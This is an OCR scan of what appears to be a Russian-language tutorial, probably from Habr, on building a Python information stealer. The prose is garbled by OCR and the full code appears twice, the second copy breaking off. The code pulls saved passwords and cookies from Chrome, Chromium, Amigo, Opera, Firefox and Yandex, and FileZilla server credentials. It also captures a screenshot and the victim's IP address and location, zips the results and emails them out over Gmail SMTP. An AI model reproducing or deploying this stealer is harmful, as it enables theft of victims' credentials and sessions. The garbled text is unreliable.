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Ctuniep naposieid Ha python

TTpuBert, ceituac Gyaem Aenatb cTuiep naposeid Ha AT1 python. Haiu ctunnep Gyget BopoBath naposu 6pay3epoB
TaKMX KakK XpOoM, sH/ieKC Opay3ep, aMHuro, U Jp., UX KYKH, JlelaTh CKPUHILIOT 3KpaHa, y3HaBaTh aiIy afipec 1K Ha

KOTOPOM OTKPbUIM CTWU/I/IED, €0 MECTO HaXOXKAeHHe U ero yCTaHOBJ/IEHHadA CUCTeMaA.
IIpucrynum K ey

CoszmaeM HoBbii (atin B IDLE Python wmu B gpyroti IDE.

¥ .python 2.7.0 Shell | . untitied ) ] |
File Edit Shel Debu File Edit Format Run  Options  ‘Window Help
Python 3.7.0 (v3. =]

4)] on win3z2
Type "copyright”,
Fxx

Lm: 1 Col: 0

[TozkmouaeM Bce Hy)KHbIe OMO/IMOTeKH. B HEKOTOPBIX HY)KHO B cmd CKauMBaTh MOZYITH.
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Bce Hy>KHbIe MOJY/TH

pip install pyinstaller

pip install requests==2.7.0
pip install pywin32

pip install ip2geotools

pip install opencv-python
pip install Pillow

pip install db-sqlite3

pip install temp

import os
from Crypto.Hash import SHA512
import sqlite3
import win32crypt
import email, ssl
import shutil
import requests
import zipfile
import getpass
import ip2geotools
import win32api
import platform
import tempfile
import smtplib
import time
import cv2
import sys
from PIL import ImageGrab
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.message import Message
from email.mime.multipart import MIMEBase
from email.mime.text import MIMEText
from email.utils import COMMASPACE, formatdate
from email import encoders
from Tools.demo.mcast import sender
from ip2geotools.databases.noncommercial import DbIpCity
from os.path import basename
from smtplib import SMTP
from email.header import Header
from email.utils import parseaddr, formataddr
from base64 import encodebytes

import random
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CO6I/IpaEEM C ITOJIb30BaTe/id BCe ero JaHHbIe.

HHAH SR RR RS A RRAH ARG AR RAR GG R A RR R BR AR GR ARG R AR GRRE GG H AR RAR R GS SR 11
# BCE OAHHBIE 1 NTOKALUWA #
HHBHAHHRRAH AR GRR GGG GRS R AR GRS RAR A R G SRR R R
drives = str(win32api.GetlogicalDriveStrings())
drives = str(drives.split('\000"')[:-1])
DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key="free")

response

all_data = "Time: " + time.asctime() + '\n' + "Koamposka ®C: " + sys.getfilesystemencoding() + '\n' + "Cpu:
file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") #cospaem txt c ero pacnonoxeHuem
file.write(all_data)#sanvcbiBaem maHHbie

file.close()#Bbixoanm

Cobupaem maposu ¢ XpoMma.

REHH SRR RS H G R R R E R E R R R R R RR R RRRHR E R R S R H 1
# GOOGLE PASSWORDS #
HHBHEHHRR RS RS REERS R E R E R H R R R R S
def Chrome():
text = 'Passwords Chrome:' + '\n'
text += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("l
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password I= '':
text +=url + ' | ' + login + " | " + password + '\n'
return text
file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") #coszpmaem txt c ero pacnonoxeHvem
file.write(str(Chrome()) + '\n')#sanuceiBaem paHHbie
file.close()

#BBIXOJUM

CobupaeM KyKH € XpoMa.

HER AR R R R R R R R R R R R R R R R R
# GOOGLE Cookies ¥
HEH R A R R R R R R R R R R R R R R R R R

def Chrome_cockie():
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textc = 'Cookies Chrome:' + '\n'
textc += "URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOC/
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2"')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textc += url + ' | ' + str(cookie) + ' | ' + name + "\n'
return textc
file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+")
file.write(str(Chrome_cockie()) + '\n")
file.close()

Kyxwu c firefox.

FHHH SRR SRR R R R R R R R R S R
# FIREFOX Cookies #
HHBHE RS R R R R R R R R H
def Firefox():

textf = "'
textf +='Firefox Cookies:' + "\n'
textf += "URL | COOKIE | COOKIE NAME' + '\n'
for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
for name in dirs:
conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
cursor = conn.cursor()
cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
data = cursor.fetchall()
for i in range(len(data)):
url, cookie, name = data[i]
textf += url + ' | ' + str(cookie) + ' | ' + name + '\n'
break
return textf
file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + "\n")
file.close()

[Taposu ¢ XxpomMHuyMa.

HHAAA R R i i
# CHROMIUM PASSWORDS #
FHAR A R i
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def chromium():
textch ='Chromium Passwords:' + '\n'
textch += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '"\\Chromium\\User Data\\Default'):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAI
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + "\\Chromium\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
textch += url + " | ' + login + ' | ' + password + "\n'
return textch
file = open(os.getenv("APPDATA") + "\\chromium.txt', "w+")
file.write(str(chromium()) + "\n")
file.close()

Kyxu ¢ xpomuyma.

HEHH SRR RS R R R R R R R R S R
# CHROMIUM cookies #
HHBH R R SR R R R R R R R R S S
def chromiumc():
textchc = "'
textchc +='Chromium Cookies:' + '\n'
textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '"\\Chromium\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPD
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '"\\Chromium\\User Data\\Default\\Cookies2"')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]

textchc 4= url + ' | ' + str(cookie) + ' | " + name + '\n'
return textchc

file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")

file.write(str(chromiumc()) + "\n")

file.close()

[Taposu ¢ amuro.
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BHAHHHHERHR B R B RAR ARG RBR B R GRERR ARG RRRBR B RERR ARG GGG B R AR R R 8
# AMIGO PASSWORDS #
HEAHHERRR B R RH ARG R R R B R R R ARG R B R B R BARRR R R GG BB R AR R4
def Amigo():
textam = 'Passwords Amigo:' + '\n'
textam += 'URL | LOGIN | PASSWORD' + "\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Login Data'):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPD
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]

if password !=

textam += url + " | ' + login + ' | ' + password + "\n'
file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+")
file.write(str(Amigo()) + "\n")

file.close()

Kyku ¢ amuro.

AR SRR AR RRAH R G R R GRR A RR R ARG AR RS ARG RAHGR ARG GRS
# AMIGO cookies #
HHGHAHHRRAH AR GRR ARG R R GG AR R AR GRS RRR ARG RRR AR
def Amigo_c():
textamc = 'Cookies Amigo:' + "\n'
textamc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '"\\Amigo\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA'
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Cookies2')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]

textamc += url + ' | ' + str(cookie) + ' | " + name + '\n'
return textamc

file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+")

file.write(str(Amigo_c()) + '\n")

file.close()

[Tapou ¢ omepsl.
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BHAHHHHERHR B R B RAR ARG RBR B R GRERR ARG RRRBR B RERR ARG GGG B R AR R R 8
# OPERA PASSWORDS #
HEAHHERRR B R RH ARG R R R B R R R ARG R B R B R BARRR R R GG BB R AR R4
def Opera():
texto = 'Passwords Opera:' + '\n'
texto += "URL | LOGIN | PASSWORD' + "\n'
if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
shutil.copy2(os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") +
conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
texto +=url + " | " + login + ' | ' + password + "\n'
file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()

[MTaposnu c daupa.

AR SRR AR RRAH R G R R GRR A RR R ARG AR RS ARG RAHGR ARG GRS
# FIREFOX PASSWORDS #
HHGHAHHRRAH AR GRR ARG R R GG AR R AR GRS RRR ARG RRR AR
def Firefox_cookies():
texto = 'Passwords firefox:' + '\n'
texto += "URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("APPDATA") + "\\AppData\\Roaming\\Mozilla\\Firefox"):
shutil.copy2(os.getenv("APPDATA") + "\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + "\\A
conn = sqlite3.connect(os.getenv("APPDATA") + '"\\AppData\\Roaming\\Mozilla\\Firefox2")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]

if password !=

texto += url + ' | ' + login + ' |
file = open(os.getenv("APPDATA") + "\\firefox_pass.txt', "w+")
file.write(str(Firefox_cookies()) + '"\n')
file.close()

+ password + '\n'

I[Taposnu ¢ sHZEKC Opay3epa.
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BHAHHHHERHR B R B RAR ARG RBR B R GRERR ARG RRRBR B RERR ARG GGG B R AR R R 8
# YANDEX PASSWORDS #
HEAHHERRR B R RH ARG R R R B R R R ARG R B R B R BARRR R R GG BB R AR R4
def Yandexpass():
textyp = 'Passwords Yandex:' + '\n'
textyp += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.d
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Lo
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
textyp += url + " | ' + login + ' | ' + password + '\n'
return textyp
file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+")
file.write(str(Yandexpass()) + "\n")
file.close()

Kyxu c onepsl.

HEHH SRR RS R R R R R R R R S R
# OPERA cookies #
HURHSHHHR AR BRUA AR B RAA GG AH R R B R USRS BR S GRS H SR RS R B G A SRR ARG R YRS SRR S S S 11
def Opera_c():
textoc ='Cookies Opera:' + '\n'
textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCAI
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2")
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textoc += url + " | ' + str(cookie) + ' | ' + name + '\n'
return textoc
file = open(os.getenv("APPDATA") + '\\opera_cookies.txt", "w+")
file.write(str(Opera_c()) + "\n")
file.close()
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Haunble ¢ FILEZILLA.

B AEHER R R AR AR R R BG B S SURER RS ARG G R RSB E RS ARG B R BRBY S RH AR A A Y
# FILEZILLA #
HAAHHEHHH B AR AR AR R B R B R BER AR ARG RRBR UGG ARG GGG G UGG SRS A8 1
def filezilla():
try:
data = "'
if os.path.isfile(os.getenv("APPDATA") + "\\FileZilla\\recentservers.xml') is True:
root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot()

for i in range(len(root[0])):
host = root[0][i][0].text
port = root[@][i][1].text
user = root[0][i][4].text
password = base64.bb4decode(root[@][i][5].text).decode( 'utf-8")
data += 'host: ' + host + '|port: ' + port + "|user: ' + user + '|pass: ' + password + '\n'

return data
else:
return 'Not found'
except Exception:
return 'Error'
textfz = filezilla()
textfz += 'Filezilla: ' + '\n' + filezilla() + '\n'
file = open(os.getenv("APPDATA") + "\\filezilla.txt', "w+")
file.write(str(filezilla()) + '\n")
file.close()

IenaemM CKpUHIIIOT 3KpaHa.

B AEH R R R R B AR SRR R B R BG B ARG R RS ARG RBRBGBURE RS ARG RRBR B AR AR A A1
# SCREEN #
HAAHHERHH B AR A A H B R G RBRBABE AR ARG R GGG BU G R AR GGG GGBA GG AR A SR8 1
screen = ImageGrab.grab()

screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg")

TyT 3anuceiBaeM Hailu TXT B ofuH ZIP — doc.

HHAH AR ARG RS A HRAR ARG AR RAR GRS RAFR AR GG AS A RSB RRAH SRR AE GG H SR RAR R G GRS 11
# PACKING TO ZIP #
HHHHSHHHRAR A BRAS A GRAEE GG ARG R GR AR GR R BRASH GG REE GG ERH ARG AR GR GRS RS S 14

zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\L0G.zip"

NZ = zipfile.ZipFile(zname, 'w")

NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt")
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NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt")
NZ.write(r'C:\\Users\\' + getpass.getuser() + "\\AppData\\Roaming\\google_pass.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt")
NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt")
NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt")
NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt")
NZ.write(r'C:\\Users\\"' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg")
NZ.close()

Bor on Hamt ZIP no BceMy JaHHBIMU.

BHAHAHHER R R BB RAR ARG BB B R R ARG RRR B R ERR ARG H GG B R AR RRR R4
# DOC-HALL ZIP #
HEAHHEHER B ARG R R R RRBABERR R ARG B R B R BARERRR ARG R GG BB R RS 8
doc = "C:\\Users\\' + getpass.getuser() + "\\AppData\\Local\\Temp\\L0G.zip'

OdopmrisieM OTIIPaBKYy.

HHHHHHHHR A SRR SRR B R AR BR AR AR GG AR BR R ARG H BB RAE GG H R RAE SRS RS S 1
# OTMPABKA #
HUHHSHHHR SRR RUSHHBRAR R BR R A G R BR AR BR AR GRS G REE R B GG A SRR AR GRS ARG S S 14
' 1 Stealler by Andrew_Shipunov 1 '.encode('utf-8")
msgtext = MIMEText(' 1 Stealler by Andrew_Shipunov T '.encode('utf-8'), 'plain', 'utf-8")
msg = MIMEMultipart()
msg['From'] = 'TyT Bawa HoOBaA nouta ¢ KOTOpPOW oTnpasuTtca’
msg['To'] = 'mouta Ha koTOpylo oTnpasBuTcA’
msg[ 'Subject'] = getpass.getuser() + '-PC'
msg.attach(msgtext)

TyT MbI co3ziaeM BoXkeHHe Jyis1 Hatiero doc'a ZIP.

RHHH SRR RR RSB RR R R RRARFG R GR R R GRS R R 14
# CO30AHVE BnoxxeHua #
HEBHS R AR R F R RBG R AR R ARG R R RRRA G RERRGR RS R GG SRR RS H A
part = MIMEBase('application', "zip")
b = open(doc, "rb").read()
bs = encodebytes(b).decode()
part.set_payload(bs)
part.add_header('Content-Transfer-Encoding', 'base64')
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part.add_header('Content-Disposition', 'attachment; filename="L0G.zip"")

msg.attach(part)

31ech Mbl COOCTBEHHO TIPOU3BOZAMM OTITPABKY Ha eMauJi € oMoIibio SMTP

RHHH ARG R AR RRARHRRR R RRARFR R R R RR RS R R 14
# OTMNPABKA BAM #
HEHHS R AR R F R RG RS RR ARG R ARG RS ARG SRR RS H A
s = smtplib.SMTP('smtp.gmail.com', 587)#Baw nouTOBbLI CEpPBMC,COBETYIO CO34aBaTb HOBYK rMawn
s.starttls()
s.login('TyT Bawa HoOBasa mouyTa C KOTOPOW OTMpaBMTCA', 'TyT Napofb OT HOBOW MOYTHl')
s.sendmail('TyT Bawa HoBaA MouyTa C KOTOPOW OTMpaBuTcA', 'mouta Ha KoTopyl oTnpasutca', msg.as_string())
s.quit()
i = input()

YToOBI OTMPABUIOCH COODIIIEHNE C Balllel HOBOM MouThl gmail Hy>KHO rpojienarhb 3To:
Ha crpanmiie «AkkayHT Google» oTkpotiTe paszesn HeHa/ie)kHbIe TTPUIOXKEHHUS], Y KOTOPBIX eCTh JOCTYII K

akkayHTy, 1 BKitounte. Torza Bce Oyzmer OK.

Becsh kop,

import os
from Crypto.Hash import SHA512
import sqlite3
import win32crypt
import email, ssl
import shutil
import requests
import zipfile
import getpass
import ip2geotools
import win32api
import platform
import tempfile
import smtplib
import time
import cv2
import sys
from PIL import ImageGrab
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.message import Message
from email.mime.multipart import MIMEBase
from email.mime.text import MIMEText
from email.utils import COMMASPACE, formatdate

from email import encoders
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from Tools.demo.mcast import sender

from ip2geotools.databases.noncommercial import DbIpCity

from os.path import basename

from smtplib import SMTP

from email.header import Header

from email.utils import parseaddr, formataddr

from base64 import encodebytes

import random
S R

# BCE OAHHBIE 1 NOKAUWA #
S R
drives = str(win32api.GetlLogicalDriveStrings())

drives = str(drives.split('\000"')[:-1])

response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key="free")

all_data = "Time: " + time.asctime() + '\n' + "Koamposka OC:
file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+")
file.write(all_data)
file.close()
HEBHS R R R R RR R H R RG G RHR R AR RR SRR AR R R GG R RR R R R GG SRR RS A1
# GOOGLE PASSWORDS #
HEBHS R R R R RR R H R RG G RHR R AR RR SRR AR R R GG R RR R R R GG SRR RS A1
def Chrome():
text = 'Passwords Chrome:' + '\n'
text += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '"\\Google\\Chrome\\User Data\\Default\\Login Data'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("l
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')

cursor = conn.cursor()

+ sys.getfilesystemencoding() + '\n' + "Cpu:

cursor.execute('SELECT action_url, username_value, password_value FROM logins"')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password = '':
text +=url + ' | ' + login + " | " + password + '\n'
return text
file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+")
file.write(str(Chrome()) + '"\n')
file.close()
HHBHSHHRRAH AR A GRR ARG R GRS R GRS G RR ARG SRR R R
# GOOGLE Cookies #
HEGHS AR RRAA A GRA R R R G R R G AR R R H A RRRAH R RAR ARG SRR SR
def Chrome_cockie():
textc = 'Cookies Chrome:' + '\n'
textc += "URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOC/
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conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2"')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textc
file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+")
file.write(str(Chrome_cockie()) + '\n")
file.close()
HERHSHHRRAR R GRER GGG R R GG ARG R GRR GG R R ARG R RS S R A
# FIREFOX Cookies #
HEGHS AR R GR ARG ARG SRR AR R R R GRRAR R G R RRR R SRR
def Firefox():
textf = "'
textf +='Firefox Cookies:' + "\n'
textf += "URL | COOKIE | COOKIE NAME' + '\n'
for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
for name in dirs:
conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite")
cursor = conn.cursor()
cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
data = cursor.fetchall()
for i in range(len(data)):
url, cookie, name = data[i]

textf += url + ' | " + str(cookie) + ' | ' + name + '\n'
break

return textf
file = open(os.getenv("APPDATA") + '"\\firefox_cookies.txt", "w+")
file.write(str(Firefox()) + "\n")
file.close()
S R
# CHROMIUM PASSWORDS #
S R
def chromium():

textch ='Chromium Passwords:' + '\n'
textch += "URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '"\\Chromium\\User Data\\Default'):

shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALA

conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + "\\Chromium\\User Data\\Default\\Login Data2")

cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins')

for result in cursor.fetchall():

password = win32crypt.CryptUnprotectData(result[2])[1].decode()

login = result[1]
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url = result[0]
if password !=

textch +=url + ' | ' + login + " | ' + password + '\n'

return textch
file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")
file.write(str(chromium()) + '\n")
file.close()
U S
# CHROMIUM cookies #
U
def chromiumc():

textchc =

textchc +='Chromium Cookies:' + "\n'
textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + '"\\Chromium\\User Data\\Default\\Cookies"):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPD
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '"\\Chromium\\User Data\\Default\\Cookies2"')
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textchc 4= url + ' | ' + str(cookie) + ' | " + name + '\n'
return textchc
file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + "\n")
file.close()
HHBHEHHHR AR SRR R R R H R R R
# AMIGO PASSWORDS #
HHBHEHHHR AR SRR R R R H R R R
def Amigo():
textam = 'Passwords Amigo:' + '\n'
textam += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Login Data'):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPD
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]

if password !=

textam += url + " | ' + login + ' | ' + password + "\n'
file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+")

file.write(str(Amigo()) + "\n")

Page 14 of 20



https://habr.com /en/sandbox /135410 /

file.close()
S S
# AMIGO cookies #
S S
def Amigo_c():
textamc = 'Cookies Amigo:' + '\n'
textamc += 'URL | COOKIE | COOKIE NAME' + "\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Cookies"):
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA'
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + "\\Amigo\\User Data\\Default\\Cookies2")
cursor = conn.cursor()
cursor.execute("SELECT * from cookies")
for result in cursor.fetchall():
cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
name = result[2]
url = result[1]
textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
return textamc
file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+")
file.write(str(Amigo_c()) + "\n")
file.close()
FHEHHH
# OPERA PASSWORDS #
FHEHHH
def Opera():
texto = 'Passwords Opera:' + '\n'
texto += "URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
shutil.copy2(os.getenv("APPDATA") + '"\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") +
conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')

cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():

password = win32crypt.CryptUnprotectData(result[2])[1].decode()

login = result[1]

url = result[0]

if password = '':

texto +=url + ' | " + login + ' | ' + password + '\n'

file = open(os.getenv("APPDATA") + "\\opera_pass.txt', "w+")
file.write(str(Opera()) + "\n")
file.close()
FESHEE R R R
# FIREFOX PASSWORDS #
FESHEE R R R
def Firefox_cookies():

texto = 'Passwords firefox:' + '\n'

texto += "URL | LOGIN | PASSWORD' + '\n'
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if os.path.exists(os.getenv("APPDATA") + "\\AppData\\Roaming\\Mozilla\\Firefox"):
shutil.copy2(os.getenv("APPDATA") + "\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + "\\A;
conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
url = result[0]
if password != '':
texto +=url + ' | " + login + ' | ' + password + '\n'
file = open(os.getenv("APPDATA") + "\\firefox_pass.txt', "w+")
file.write(str(Firefox_cookies()) + '\n')
file.close()
FESHEE R R R
# YANDEX PASSWORDS #
USRS R
def Yandexpass():
textyp = 'Passwords Yandex:' + '\n'
textyp += 'URL | LOGIN | PASSWORD' + '\n'
if os.path.exists(os.getenv("LOCALAPPDATA") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.d
shutil.copy2(os.getenv("LOCALAPPDATA") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '"\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Lo
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2])[1].decode()
login = result[1]
